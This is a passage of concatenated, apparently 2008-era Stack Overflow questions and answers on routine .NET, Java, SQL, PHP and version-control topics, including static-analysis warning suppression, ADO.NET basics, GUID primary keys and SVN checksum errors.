to the simple integration into the build, I find it helpful to configure the tools to be somewhat "integrated" in a couple of other ways. Namely, report generation and warning suppression uniformity. I'd like to add these aspects to this discussion (which should probably have the "static-analysis" tag also): how are folks configuring these tools to create a "unified" solution? (I've asked this question separately <a href="http://stackoverflow.com/questions/79918/configuring-static-analysis-tools-for-uniformity">here</a>)</p> <p><p>First, for warning reports, I transform the output so that each warning has the simple format:</p> <pre><code>/absolute-path/filename:line-number:column-number: warning(tool-name): message</code></pre> <p><p>This is often called the "Emacs format," but even if you aren't using Emacs, it's a reasonable format for homogenizing reports. For example:</p> <pre><code>/project/src/com/example/Foo.java:425:9: warning(Checkstyle):Missing a Javadoc comment.</code></pre> <p><p>My warning format transformations are done by my Ant script with Ant <a href="http://ant.apache.org/manual/Types/filterchain.html">filterchains</a>.</p> <p><p>The second "integration" that I do is for warning suppression. By default, each tool supports comments or an annotation (or both) that you can place in your code to silence a warning that you want to ignore. But these various warning suppression requests do not have a consistent look which seems somewhat silly. When you're suppressing a warning, you're suppressing a warning, so why not always write "<code>SuppressWarning</code>?"</p> <p><p>For example, PMD's default configuration suppresses warning generation on lines of code with the string "<code>NOPMD</code>" in a comment. Also, PMD supports Java's <code>@SuppressWarnings</code> annotation. I configure PMD to use comments containing "<code>SuppressWarning(PMD.</code>" instead of <code>NOPMD</code> so that PMD suppressions look alike. I fill in the particular rule that is violated when using the comment style suppression:</p> <pre><code>// SuppressWarnings(PMD.PreserveStackTrace) justification: (false positive) exceptions are chained</code></pre> <p><p>Only the "<code>SuppressWarnings(PMD.</code>" part is significant for a comment, but it is consistent with PMD's support for the <code>@SuppressWarning</code> annotation which does recognize individual rule violations by name:</p> <pre><code>@SuppressWarnings("PMD.CompareObjectsWithEquals") // justification: identity comparision intended</code></pre> <p><p>Similarly, Checkstyle suppresses warning generation between pairs of comments (no annotation support is provided). By default, comments to turn Checkstyle off and on contain the strings <code>CHECKSTYLE:OFF</code> and <code>CHECKSTYLE:ON</code>, respectively. Changing this configuration (with Checkstyle's "SuppressionCommentFilter") to use the strings "<code>BEGIN&nbsp;SuppressWarnings(CheckStyle.</code>" and "<code>END&nbsp;SuppressWarnings(CheckStyle.</code>" makes the controls look more like PMD:</p> <pre> <code>// BEGIN SuppressWarnings(Checkstyle.HiddenField) justification: "Effective Java," 2nd ed., Bloch, Item 2</code> <code>// END SuppressWarnings(Checkstyle.HiddenField)</code> </pre> <p><p>With Checkstyle comments, the particular check violation (<code>HiddenField</code>) <em>is</em> significant because each check has its own "<code>BEGIN/END</code>" comment pair.</p> <p><p>FindBugs also supports warning generation suppression with a <code>@SuppressWarnings</code> annotation, so no further configuration is required to achieve some level of uniformity with other tools. Unfortunately, Findbugs has to support a custom <code>@SuppressWarnings</code> annotation because the built-in Java <code>@SuppressWarnings</code> annotation has a <code>SOURCE</code> retention policy which is not strong enough to retain the annotation in the class file where FindBugs needs it. I fully qualify FindBugs warnings suppressions to avoid clashing with Java's <code>@SuppressWarnings</code> annotation:</p> <pre><code>@edu.umd.cs.findbugs.annotations.SuppressWarnings("UWF&#95;FIELD&#95;NOT&#95;INITIALIZED&#95;IN&#95;CONSTRUCTOR")</code></pre> <p><p>These techniques makes things look reasonably consistent across tools. Note that having each warning suppression contain the string "<code>SuppressWarnings</code>" makes it easy to run a simple search to find all instances for all tools over an entire code base.</p>
What program can I use to generate diagrams of SQL view/table structure? <p>I've been tasked with redesigning part of a ms-sql database structure which currently involves a lot of views, some of which contain joins to other views. </p> <p>Anyway, I wonder if anyone here could recommend a utility to automatically generate diagrams to help me visualise the whole structure.</p> <p>What's the best program you've used for such problems?</p>
<p>I am a big fan of Embarcadero's <a href="http://www.embarcadero.com/products/er-studio" rel="nofollow">ER/Studio</a>. It is very powerful and produces excellent on-screen as well as printed results. They have a free trial as well, so you should be able to get in and give it a shot without too much strife.</p> <p>Good luck!</p>
How to learn ADO.NET <p>I need to learn ADO.NET to build applications based on MS Office. I have read a good deal about ADO.NET in the MSDN Library, but everything seems rather messy to me.</p> <p>What are the basics one must figure out when using ADO.NET? I think a few key words will suffice to let me organize my learning.</p>
<p>There are three key components (assuming ur using SQL server):</p> <ul> <li><code>SQLConnection</code></li> <li><code>SqlCommand</code></li> <li><code>SqlDataReader</code></li> </ul> <p>(if you're using something else, replace <code>Sql</code> with "Something", like <code>MySqlConnection</code>, <code>OracleCommand</code>)</p> <p>Everything else is just built on top of that.</p> <p><strong>Example 1:</strong></p> <pre><code>using (SqlConnection connection = new SqlConnection("CONNECTION STRING")) using (SqlCommand command = new SqlCommand()) { command.commandText = "SELECT Name FROM Users WHERE Status = @OnlineStatus"; command.Connection = connection; command.Parameters.Add("@OnlineStatus", SqlDbType.Int).Value = 1; //replace with enum connection.Open(); using (SqlDataReader dr = command.ExecuteReader)) { List&lt;string&gt; onlineUsers = new List&lt;string&gt;(); while (dr.Read()) { onlineUsers.Add(dr.GetString(0)); } } } </code></pre> <p><strong>Example 2:</strong></p> <pre><code>using (SqlConnection connection = new SqlConnection("CONNECTION STRING")) using (SqlCommand command = new SqlCommand()) { command.commandText = "DELETE FROM Users where Email = @Email"; command.Connection = connection; command.Parameters.Add("@Email", SqlDbType.VarChar, 100).Value = "user@host.com"; connection.Open(); command.ExecuteNonQuery(); } </code></pre>
The Difference Between a DataGrid and a GridView in ASP.NET? <p>I've been doing ASP.NET development for a little while now, and I've used both the GridView and the DataGrid controls before for various things, but I never could find a really good reason to use one or the other. I'd like to know:</p> <p>What is the difference between these 2 ASP.NET controls? What are the advantages or disadvantages of both? Is one any faster? Newer? Easier to maintain?</p> <p>The intellisense summary for the controls doesn't seem to describe any difference between the two. They both can view, edit, and sort data and automatically generate columns at runtime.</p> <p><strong>Edit:</strong> Visual Studio 2008 no longer lists DataGrid as an available control in the toolbox. It is still available (for legacy support I assume) if you type it in by hand though.</p>
<p>DataGrid was an ASP.NET 1.1 control, still supported. GridView arrived in 2.0, made certain tasks simpler added different databinding features:</p> <p>This link has a comparison of DataGrid and GridView features -</p> <p><a href="https://msdn.microsoft.com/en-us/library/05yye6k9(v=vs.100).aspx" rel="nofollow">https://msdn.microsoft.com/en-us/library/05yye6k9(v=vs.100).aspx</a></p>
ASP.Net 2.0 Application without Business Logic Layer? <p>Is it "acceptable" to have an <strong>ASP.Net 2.0</strong> application without the BLL (Business Logic Layer) as the following?</p> <ol> <li>SQL Server Data Storage &amp; Stored Procedures</li> <li>Data Link Layer (Strongly Typed Table Adapters) connecting to Stored Procs</li> <li>Presentation Layer ASPX Pages with Code behind and ObjectDataSource for connection straight to the DLL</li> </ol> <p>Is a BLL always preferable, even if business logic is entirely validatable in the presentation's code behind? What are the potential drawbacks for not using a BLL?</p>
<p>It's acceptable as long as you understand the consequences. The main reason you'd have a BLL is to re-use that logic elsewhere throughout your application.</p> <p>If you have all that validation logic in the presentation code, you're really making it difficult to re-use elsewhere within your application.</p>
How to easily consume a web service from PHP <p>Is there available any tool for PHP which can be used to generate code for consuming a <a href="http://en.wikipedia.org/wiki/Web_service">web service</a> based on its <a href="http://en.wikipedia.org/wiki/Web_Services_Description_Language">WSDL</a>? Something comparable to clicking "Add Web Reference" in Visual Studio or the Eclipse plugin which does the same thing for Java.</p>
<p>In PHP 5 you can use <a href="http://www.php.net/manual/en/ref.soap.php">SoapClient</a> on the WSDL to call the web service functions. <a href="http://www.php.net/manual/en/soapclient.construct.php">For example</a>:</p> <pre><code>$client = new SoapClient("some.wsdl"); </code></pre> <p>and $client is now an object which has class methods as defined in some.wsdl. So if there was a method called getTime in the WSDL then you would just call:</p> <pre><code>$result = $client-&gt;getTime(); </code></pre> <p>And the result of that would (obviously) be in the $result variable. You can use the __getFunctions method to return a list of all the available methods.</p>
How can I create Prototype Methods (like JavaScript) in C#.Net? <p>How is it possible to make prototype methods in C#.Net?</p> <p>In JavaScript, I can do the following to create a trim method for the string object:</p> <pre><code>String.prototype.trim = function() { return this.replace(/^\s+|\s+$/g,""); } </code></pre> <p>How can I go about doing this in C#.Net?</p>
<p>You can't dynamically add methods to existing objects or classes in .NET, except by changing the source for that class.</p> <p>You can, however, in C# 3.0, use extension methods, which <em>look</em> like new methods, but are compile-time magic.</p> <p>To do this for your code:</p> <pre><code>public static class StringExtensions<br>{<br> public static String trim(this String s)<br> {<br> return s.Trim();<br> }<br>}<br></code></pre> <p>To use it:</p> <pre><code>String s = " Test ";<br>s = s.trim();<br></code></pre> <p>This looks like a new method, but will compile the exact same way as this code:</p> <pre><code>String s = " Test ";<br>s = StringExtensions.trim(s);<br></code></pre> <p>What exactly are you trying to accomplish? Perhaps there are better ways of doing what you want?</p>
How can I Java webstart multiple, dependent, native libraries? <p>Example: I have two shared objects (same should apply to .dlls). The first shared object is from a third-party library, we'll call it libA.so. I have wrapped some of this with JNI and created my own library, libB.so. Now libB depends on libA.</p> <p>When webstarting, both libraries are places in some webstart working area. My java code attempts to load libB. At this point the system loader will attempt to load libA which is not in the system library path (java.library.path won't help this). The end result is that libB has an unsatisfied link and cannot be used. </p> <p>I have tried loading libA before libB, but that still does not work. Seems the OS wants to do that loading for me. Is there any way I can make this work other than statically compiling?</p>
<p>I'm not sure if this would be handled exactly the same way for webstart, but we ran into this situation in a desktop application when dealing with a set of native libraries (dlls in our case).</p> <p>Loading libA before libB should work, unless one of those libraries has a dependency that is unaccounted for and not in the path. My understanding is that once it gets to a system loadLibrary call (i.e. Java has found the library in its java.library.path and is now telling the OS to load it) - it is completely dependent on the operating system to find any dependent libraries, because at that point it is the operating system that is loading the library for the process, and the OS only knows how to look in the system path. That seems hard to set in the case of a Webstart app, but there is a way around this that does not involve static compiling. You may be able to shuffle where your libraries are - I am unsure </p> <p>If you use a custom classloader, you can override loadLibrary and findLibrary so that it can locate your libraries from within a jar in your classpath, and if you also make it aware of your native library dependencies (i.e. libB depends on libA depends on libX, then when loading libB you can catch yourself and ensure you load libA first, and in checking that notice and load libX first. Then the OS doesn't try to find a library that isn't in your path. It's klunky and a bit painful, but ensuring Java finds them and loads them all in the correct order can work.</p>
DVCS Choices - What's good for Windows? <p>So I want to get a project on a distributed version control system, such as mercurial, git, or bazaar. The catch is that I need the Windows support to be good, i.e. no instructions that start off with "install cygwin...". Now I've <em>heard</em> that git's Windows support is decent these days, but don't have any first hand experience. Also, it sounds like the bazaar team has an explicit goal of making it as multiplatform as possible. Can I get any recommendations?</p>
<p>I use <a href="http://code.google.com/p/msysgit/" rel="nofollow">msys-git</a> on windows every single day. Works fast and flawlessly.</p> <p>Although the newer build has some problems with git-svn, <a href="http://msysgit.googlecode.com/files/Git-1.5.5-preview20080413.exe" rel="nofollow">this build (Git-1.5.5-preview20080413.exe)</a> has a working git-svn.</p>
C# and Arrow Keys <p>I am new to C# and am doing some work in an existing application. I have a DirectX viewport that has components in it that I want to be able to position using arrow keys.</p> <p>Currently I am overriding ProcessCmdKey and catching arrow input and send an OnKeyPress event. This works, but I want to be able to use modifiers(<strong><kbd>ALT</kbd>+<kbd>CTRL</kbd>+<kbd>SHIFT</kbd></strong>). As soon as I am holding a modifier and press an arrow no events are triggered that I am listening to.</p> <p>Does anyone have any ideas or suggestions on where I should go with this?</p>
<P>Within your overridden ProcessCmdKey how are you determining which key has been pressed?</P> <P>The value of keyData (the second parameter) will change dependant on the key pressed and any modifier keys, so, for example, pressing the left arrow will return code 37, shift-left will return 65573, ctrl-left 131109 and alt-left 262181.</P> <P>You can extract the modifiers and the key pressed by ANDing with appropriate enum values:</P><PRE><CODE>protected override bool ProcessCmdKey(ref Message msg, Keys keyData) { bool shiftPressed = (keyData &amp; Keys.Shift) != 0; Keys unmodifiedKey = (keyData &amp; Keys.KeyCode); // rest of code goes here } </CODE></PRE>
Authoritative source on XML-sig <p>We have a question with regards to XML-sig and need detail about the optional elements as well as some of the canonicalization and transform stuff. We're writing a spec for a very small XML-syntax payload that will go into the metadata of media files and it needs to by cryptographically signed. Rather than re-invent the wheel, We thought we should use the XML-sig spec but I think most of it is overkill for what we need, and so we like to have more information/dialogue with people who know the details.</p> <p>Specifically, do we need to care about either transforms or canonicalization if the XML is very basic with no tabs for formatting and is specific to our needs?</p>
<p>Can you let us know that technology you are using as there are some intresting bits out there around this stuff and some short cuts... i.e. WSE2 is complex beast and something that I dont like getting wrong! </p> <p>I dont like developers doing this and there are WSE2 accelorators out there like SSL Accelorates as the processing of encryption has a hugh cost best to take it out of process from the normal code and the development arena.</p> <p>If this is an option for you - <a href="http://forumsys.com/" rel="nofollow" title="Unison Home Page">Try look at this - ForumSystems</a></p>
Why is this regular expression faster? <p>I'm writing a Telnet client of sorts in C# and part of what I have to parse are ANSI/VT100 escape sequences, specifically, just those used for colour and formatting (detailed <a href="http://www.termsys.demon.co.uk/vtansi.htm#colors">here</a>).</p> <p>One method I have is one to find all the codes and remove them, so I can render the text without any formatting if needed:</p> <pre><code> public static string StripStringFormating(string formattedString) { if (rTest.IsMatch(formattedString)) return rTest.Replace(formattedString, string.Empty); else return formattedString; } </code></pre> <p>I'm new to regular expressions and I was suggested to use this:</p> <pre><code>static Regex rText = new Regex(@"\e\[[\d;]+m", RegexOptions.Compiled);</code></pre> <p>However, this failed if the escape code was incomplete due to an error on the server. So then this was suggested, but my friend warned it might be slower (this one also matches another condition (z) that I might come across later):</p> <pre><code>static Regex rTest = new Regex(@"(\e(\[([\d;]*[mz]?))?)?", RegexOptions.Compiled);</code></pre> <p>This not only worked, but was in fact faster to and reduced the impact on my text rendering. Can someone explain to a regexp newbie, why? :)</p>
<p>The reason why #1 is slower is that [\d;]+ is a greedy quantifier. Using +? or *? is going to do lazy quantifing. See <a href="http://msdn.microsoft.com/en-us/library/3206d374%28VS.80%29.aspx" rel="nofollow">MSDN - Quantifiers</a> for more info.</p> <p>You may want to try:</p> <pre><code>"(\e\[(\d{1,2};)*?[mz]?)?"<br></code></pre> <p>That may be faster for you.</p>
Is a "Confirm Email" input good practice when user changes email address? <p>My organization has a form to allow users to update their email address with us. It's suggested that we have two input boxes for email: the second as an email confirmation.</p> <p>I always copy/paste my email address when faced with the confirmation. I'm assuming most of our users are not so savvy.</p> <p>Regardless, is this considered a good practice? I can't stand it personally, but I also realize it probably isn't meant for me. If someone screws up their email, they can't login, and they must call to sort things out.</p>
<p>I've seen plenty of people type their email address wrong and I've also looked through user databases full of invalid email address.</p> <p>The way I see it you've got two options. Use a second box to confirm the input, or send an authentication/activation email.</p> <p>Both are annoyances so you get to choose which you think will annoy your users less.</p> <p>Most would argue that having to find an email and click on a link is more annoying, but it avoids the copy/paste a bad address issue, and it allows you to do things like delete or roll back users if they don't activate after say 48 hours.</p>
How to reference to multiple version assembly <p>I'm developing a Sharepoint application and use .NET AjaxControlToolkit library, we are adding a custom aspx page to the Sharepoint. Sharepoint 2007 run in quirks mode so I've made some modification to the AJAX library to make it behave like it normally should. The problem is, the other team already use AJAX library and it is a different version with mine. This cause conflict because there could be only one dll in the bin folder with the same name.</p> <p>From what I know, .NET should be able to handle this situation easily. I've tried using strong name and GAC to solve it, but it still refer to the dll in the bin folder. If there is no AjaxControlToolkit.dll in the bin folder, the application will simply fail to load the assembly. </p> <p>If I use complete assembly information on my like this </p> <pre><code>&lt;%@ <br> Register <br> tagprefix="AjaxControlToolkit"<br> namespace="AjaxControlToolkit"<br> assembly="AjaxControlToolkit, Version=1.0.299.18064, <br> PublicKeyToken=12345678abcdefgh, <br> Culture=neutral"<br>%&gt;<br></code></pre> <p>It gives me Compiler Error CS0433</p> <p>Can someone help me on how to use multiple version of assembly in an application?</p>
<p>Well the link for <a href="http://msdn.microsoft.com/en-us/library/64wh5743%28v=vs.100%29.aspx" rel="nofollow">Compiler Error CS0433</a> makes it pretty clear that the core issue is not with multiple versions of the assembly being referenced - but with namespace + typename conflicts.</p> <p>When you load up / reference a type - the compiler can't resolve which DLL to load that type from. If Sharepoint is going to load both your DLLs versions (as you say it needs to) - this error will always come.</p> <p>Simplest fix would be to change the namespaces in the new DLL, since it does have your custom tweaks, and you control the code - mark it clearly as well.</p>
SQL Server Management Studio alternatives to browse/edit tables and run queries <p>I was wondering if there are any alternatives to Microsoft's SQL Server Management Studio?</p> <p>Not there's anything wrong with SSMS, but sometimes it just seem too big an application where all I want todo is browse/edit tables and run queries.</p>
<p>I've started using <a href="http://www.linqpad.net/">LinqPad</a>. In addition to being more lightweight than SSMS, you can also practice writing LINQ queries- way more fun than boring old TSQL!</p>
What is the best way to wrap time around the work day? <p>I have a situation where I want to add hours to a date and have the new date wrap around the work-day. I cobbled up a function to determine this new date, but want to make sure that I'm not forgetting anything.</p> <p>The hours to be added is called "delay". It could easily be a parameter to the function instead.</p> <p>Please post any suggestions. [VB.NET Warning]</p> <pre><code>Private Function GetDateRequired() As Date ''// A decimal representation of the current hour Dim hours As Decimal = Decimal.Parse(Date.Now.Hour) + (Decimal.Parse(Date.Now.Minute) / 60.0) Dim delay As Decimal = 3.0 ''// delay in hours Dim endOfDay As Decimal = 12.0 + 5.0 ''// end of day, in hours Dim startOfDay As Decimal = 8.0 ''// start of day, in hours Dim newHour As Integer Dim newMinute As Integer Dim dateRequired As Date = Now Dim delta As Decimal = hours + delay ''// Wrap around to the next day, if necessary If delta &gt; endOfDay Then delta = delta - endOfDay dateRequired = dateRequired.AddDays(1) newHour = Integer.Parse(Decimal.Truncate(delta)) newMinute = Integer.Parse(Decimal.Truncate((delta - newHour) * 60)) newHour = startOfDay + newHour Else newHour = Integer.Parse(Decimal.Truncate(delta)) newMinute = Integer.Parse(Decimal.Truncate((delta - newHour) * 60)) End If dateRequired = New Date(dateRequired.Year, dateRequired.Month, dateRequired.Day, newHour, newMinute, 0) Return dateRequired End Sub </code></pre> <p><strong>Note</strong>: This will probably not work if delay is more than 9 hours long. It should never change from 3, through.</p> <p>EDIT: The goal is find the date and time that you get as a result of adding several hours to the current time. This is used to determine a default value for a due date of a submission. I want to add 3 hours to the current time to get the due date time. However, I don't want due dates that go beyond 5pm on the current day. So, I tried to have the hours split between (today, up to 5pm) and (tomorrow, from 8am on), such that adding 3 hours to 4pm would give you 19am, because 1 hour is added to the end of today and 2 hours are added to the beginning of tomorrow.</p>
<p>You should probably write some automated tests for each condition you can think of, and then just start brainstorming more, writing the tests as you think of them. This way, you can see for sure it will work, and will continue to work if you make further changes. Look up Test Driven Development if you like the results.</p>
Telligent's Community Server <p>The company I work for is wanting to add blog functionality to our website and they were looking to spend an awful amount of money to have some crap being built on top of a CMS they purchased (sitecore). I pointed them to Telligent's Community Server and we had a sales like meeting today to get the Marketing folks on board. My question is if anyone has had issues working with Community Server, skinning it and extending it?<br> I wanted to explain a bit why I am thinking Community Server, the company is wanting multiple blogs with multiple authors. I want to be out of the admin part of this as much as possible and didn't think there were too many engines that having multiple blogs didn't mean db work. I also like the other functionality that Community Server provides and think the company will find it useful, particularly the media section as right now we have some really shotty way of dealing with whitepapers and stuff.</p> <p>edit: We are actually using the Sitecore blog module for a single blog on our intranet (which is actually what the CMS is serving). Some reasoning for why I don't like it for our public site are they are on different servers, it doesn't support multiple authors, there is no built in syndication, it is a little flimsy feeling to me from looking at the source and I personally think the other features of Community Server make its price tag worth it.</p> <p>another edit: Need to stick to .net software that run on sql server in my company's case, but I don't mind seeing recommendations for others. ExpressionEngine looks promising, will try it out on my personal box.</p>
<p>I've done quite a few projects using Community Server. If you're okay with the out-of-the-box functionality, or you don't mind sticking to the version you start with, I think you'll be very happy.</p> <p>The times I've run into headaches using CS is when the client wants functionality CS does not provide, but also insists on keeping the ability to upgrade to the latest version whenever Telligent releases an update. You can mostly support that by making all of your changes either in a separate project or by only modifying aspx/ascx files (no codebehinds). Some kind of merge is going to be required though no matter how well you plan it out.</p>
Tables with no Primary Key <p>I have several tables whose only unique data is a uniqueidentifier (a Guid) column. Because guids are non-sequential (and they're client-side generated so I can't use newsequentialid()), I have made a non-primary, non-clustered index on this ID field rather than giving the tables a clustered primary key.</p> <p>I'm wondering what the performance implications are for this approach. I've seen some people suggest that tables should have an auto-incrementing ("identity") int as a clustered primary key even if it doesn't have any meaning, as it means that the database engine itself can use that value to quickly look up a row instead of having to use a bookmark.</p> <p>My database is merge-replicated across a bunch of servers, so I've shied away from identity int columns as they're a bit hairy to get right in replication.</p> <p>What are your thoughts? Should tables have primary keys? Or is it ok to not have any clustered indexes if there are no sensible columns to index that way?</p>
<p>When dealing with indexes, you have to determine what your table is going to be used for. If you are primarily inserting 1000 rows a second and not doing any querying, then a clustered index is a hit to performance. If you are doing 1000 queries a second, then not having an index will lead to very bad performance. The best thing to do when trying to tune queries/indexes is to use the Query Plan Analyzer and SQL Profiler in SQL Server. This will show you where you are running into costly table scans or other performance blockers.</p> <p>As for the GUID vs ID argument, you can find people online that swear by both. I have always been taught to use GUIDs unless I have a really good reason not to. Jeff has a good post that talks about the reasons for using GUIDs: <a href="http://www.codinghorror.com/blog/archives/000817.html">http://www.codinghorror.com/blog/archives/000817.html</a>.</p> <p>As with most anything development related, if you are looking to improve performance there is not one, single right answer. It really depends on what you are trying to accomplish and how you are implementing the solution. The only true answer is to test, test, and test again against performance metrics to ensure that you are meeting your goals.</p> <p>[Edit] @Matt, after doing some more research on the GUID/ID debate I came across this post. Like I mentioned before, there is not a true right or wrong answer. It depends on your specific implementation needs. But these are some pretty valid reasons to use GUIDs as the primary key:</p> <blockquote> <p>For example, there is an issue known as a "hotspot", where certain pages of data in a table are under relatively high currency contention. Basically, what happens is most of the traffic on a table (and hence page-level locks) occurs on a small area of the table, towards the end. New records will always go to this hotspot, because IDENTITY is a sequential number generator. These inserts are troublesome because they require Exlusive page lock on the page they are added to (the hotspot). This effectively serializes all inserts to a table thanks to the page locking mechanism. NewID() on the other hand does not suffer from hotspots. Values generated using the NewID() function are only sequential for short bursts of inserts (where the function is being called very quickly, such as during a multi-row insert), which causes the inserted rows to spread randomly throughout the table's data pages instead of all at the end - thus eliminating a hotspot from inserts.</p> <p>Also, because the inserts are randomly distributed, the chance of page splits is greatly reduced. While a page split here and there isnt too bad, the effects do add up quickly. With IDENTITY, page Fill Factor is pretty useless as a tuning mechanism and might as well be set to 100% - rows will never be inserted in any page but the last one. With NewID(), you can actually make use of Fill Factor as a performance-enabling tool. You can set Fill Factor to a level that approximates estimated volume growth between index rebuilds, and then schedule the rebuilds during off-peak hours using dbcc reindex. This effectively delays the performance hits of page splits until off-peak times.</p> <p>If you even <em>think</em> you might need to enable replication for the table in question - then you might as well make the PK a uniqueidentifier and flag the guid field as ROWGUIDCOL. Replication will require a uniquely valued guid field with this attribute, and it will add one if none exists. If a suitable field exists, then it will just use the one thats there.</p> <p>Yet another huge benefit for using GUIDs for PKs is the fact that the value is indeed guaranteed unique - not just among all values generated by <em>this</em> server, but all values generated by <em>all</em> computers - whether it be your db server, web server, app server, or client machine. Pretty much every modern language has the capability of generating a valid guid now - in .NET you can use System.Guid.NewGuid. This is VERY handy when dealing with cached master-detail datasets in particular. You dont have to employ crazy temporary keying schemes just to relate your records together before they are committed. You just fetch a perfectly valid new Guid from the operating system for each new record's permanent key value at the time the record is created. </p> <p><a href="http://forums.asp.net/t/264350.aspx">http://forums.asp.net/t/264350.aspx</a></p> </blockquote>
MVC Preview 4 - No route in the route table matches the supplied values <p>I have a route that I am calling through a RedirectToRoute like this:</p> <pre><code>return this.RedirectToRoute("Super-SuperRoute", new { year = selectedYear }); </code></pre> <p>I have also tried:</p> <pre><code> return this.RedirectToRoute("Super-SuperRoute", new { controller = "Super", action = "SuperRoute", id = "RouteTopic", year = selectedYear }); </code></pre> <p>The route in the global.asax is like this:</p> <pre><code>routes.MapRoute( "Super-SuperRoute", // Route name "Super.mvc/SuperRoute/{year}", // URL with parameters new { controller = "Super", action = "SuperRoute", id = "RouteTopic" } // Parameter defaults ); </code></pre> <p>So why do I get the error: "No route in the route table matches the supplied values."?</p> <p>I saw that the type of selectedYear was var. When I tried to convert to int with int.Parse I realised that selectedYear was actually null, which would explain the problems. I guess next time I'll pay more attention to the values of the variables at a breakpoint :)</p>
<p>What type is selectedYear? A DateTime? If so then you might need to convert to a string.</p>
Are there any negative reasons to use an N-Tier solution? <p>I'm pretty new to my company (2 weeks) and we're starting a new platform for our system using .NET 3.5 Team Foundation from DotNetNuke. Our "architect" is suggesting we use one class project. Of course, I chime back with a "3-tier" architecture (Business, Data, Web class projects). </p> <p>Is there any disadvantages to using this architecture? Pro's would be separation of code from data, keeping class objects away from your code, etc.</p>
<p>I guess a fairly big downside is that the extra volume of code that you have to write, manage and maintain for a <strong>small</strong> project may just be overkill.</p> <p>It's all down to what's appropriate for the size of the project, the expected life of the final project and the budget! Sometimes, whilst doing things 'properly' is appealing, doing something a little more 'lightweight' can be the right commercial decision!</p>
What to use for login ID? <p>We are in the early design stages of a major rewrite of our product. Right now our customers are mostly businesses. We manage accounts. User names for an account are each on their own namespace but it means that we can't move assets between servers.</p> <p>We want to move to a single namespace. But that brings the problem of unique user names.</p> <p>So what's the best idea?</p> <ul> <li>Email address (w/verification) ?</li> <li>Unique alpha-numeric string ("johnsmith9234")?</li> <li>Should we look at OpenID?</li> </ul>
<p><strong>EMAIL ADDRESS</strong></p> <p>Rational</p> <ol> <li>Users don't change emails very often</li> <li>Removes the step of asking for username and email address, which you'll need anyway</li> <li>Users don't often forget their email address (see number one)</li> <li>Email will be unique unless the user already registered for the site, in which case forward them to a forgot your password screen</li> <li>Almost everyone is using email as the primary login for access to a website, this means the rate of adoption shouldn't be affected by the fact that you're asking for an email address</li> </ol> <hr> <p><strong>Update</strong></p> <p>After registration, be sure to ask the user to create some kind of username, don't litter a public site with their email address! Also, another benefit of using an email address as a login: you won't need any other information (like password / password confirm), just send them a temp password through the mail, or forgo passwords altogether and send them a one-use URL to their email address every time they'd like to login (see: <a href="http://mugshot.org/main">mugshot.org</a>)</p>
Normalizing a Table with Low Integrity <p>I've been handed a table with about 18000 rows. Each record describes the location of one customer. The issue is, that when the person created the table, they did not add a field for "Company Name", only "Location Name," and one company can have many locations.</p> <p>For example, here are some records that describe the same customer:</p> <p><strong>Location Table</strong></p> <pre><code> ID Location_Name 1 TownShop#1 2 Town Shop - Loc 2 3 The Town Shop 4 TTS - Someplace 5 Town Shop,the 3 6 Toen Shop4 </code></pre> <p>My goal is to make it look like:</p> <p><strong>Location Table</strong></p> <pre><code> ID Company_ID Location_Name 1 1 Town Shop#1 2 1 Town Shop - Loc 2 3 1 The Town Shop 4 1 TTS - Someplace 5 1 Town Shop,the 3 6 1 Toen Shop4 </code></pre> <p><strong>Company Table</strong></p> <pre><code> Company_ID Company_Name 1 The Town Shop </code></pre> <p>There is no "Company" table, I will have to generate the Company Name list from the most descriptive or best Location Name that represents the multiple locations.</p> <p>Currently I am thinking I need to generate a list of Location Names that are similar, and then and go through that list by hand.</p> <p>Any suggestions on how I can approach this is appreciated.</p> <p><strong>@Neall, Thank you for your statement, but unfortunately, each location name is distinct, there are no duplicate location names, only similar. So in the results from your statement "repcount" is 1 in each row.</strong></p> <p><strong>@yukondude, Your step 4 is the heart of my question.</strong></p>
<p>I've had to do this before. The only real way to do it is to manually match up the various locations. Use your database's console interface and grouping select statements. First, add your "Company Name" field. Then:</p> <pre><code>SELECT count(*) AS repcount, "Location Name" FROM mytable<br> WHERE "Company Name" IS NULL<br> GROUP BY "Location Name"<br> ORDER BY repcount DESC<br> LIMIT 5;<br></code></pre> <p>Figure out what company the location at the top of the list belongs to and then update your company name field with an UPDATE ... WHERE "Location Name" = "The Location" statement.</p> <p>P.S. - You should really break your company names and location names out into separate tables and refer to them by their primary keys.</p> <p>Update: - Wow - no duplicates? How many records do you have?</p>
Repair SVN Checksum <p>I'm using subclipse in Flex Builder 3, and recently received this error when trying to commit:</p> <p><code>svn: Checksum mismatch for '/Users/redacted/Documents/Flex Builder 3/path/to/my/file.mxml'; expected: 'f8cb275de72776657406154dd3c10348', actual: 'null'</code></p> <p>I worked around it by:</p> <ol> <li>Committing all the other changed files, omitting the troublesome one.</li> <li>Copying the contents of the trouble file to a TextMate window</li> <li>Deleting my project in FlexBuilder/Eclipse</li> <li>Checking my project out fresh from SVN</li> <li>Copying the text of the trouble file back in from the TextMate Window</li> <li>Committing the changes.</li> </ol> <p>It worked, but I can't help but think there's a better way. What's actaully happening to cause the svn:checksum error, and what's the best fix.</p> <p>Maybe more important -- is this a symptom of a greater problem?</p>
<p>The file in the .svn directory that keeps track of what you have checked out, when, what revision, and from where, has gotten corrupted somehow, for that particular file.</p> <p>This is no more dangerous or critical than the normal odd file problem, and can be because of various problems, like a subversion program dying mid-change, power-disruption, etc.</p> <p>Unless it happens more I wouldn't make much out of it.</p> <p>It can be fixed by doing what you did, make a copy of your work-files, check out a fresh copy, and add the modified files back in.</p> <p>Note that this might cause problems if you have a busy project where you would normally have to merge in changes.</p> <p>For instance, you and a collegue both check out a fresh copy, and start working on the same file. At some point, your collegue checks in his modifications. When you attempt to do the same, you get the checksum problem you have. If you now make copies of your changed files, do a fresh checkout, then subversion will lose track of how your changes should be merged back in.</p> <p>If you didn't get the problem in this case, when you got around to checkin in your modifications, you would need to update your working copy first, and possibly handle a conflict with your file.</p> <p>However, if you do a fresh checkout, complete with your collegues changes, it now looks like you removed his changes and substituted with your own. No conflicts, and no indications from subversion that something is amiss.</p>
E-mail Notifications <p>In a .net system I'm building, there is a need for automated e-mail notifications. These should be editable by an admin. What's the easiest way to do this? SQL table and WYSIWIG for editing?</p> <hr> <p>The queue is a great idea. I've been throwing around that type of process for awhile with my old company.</p>
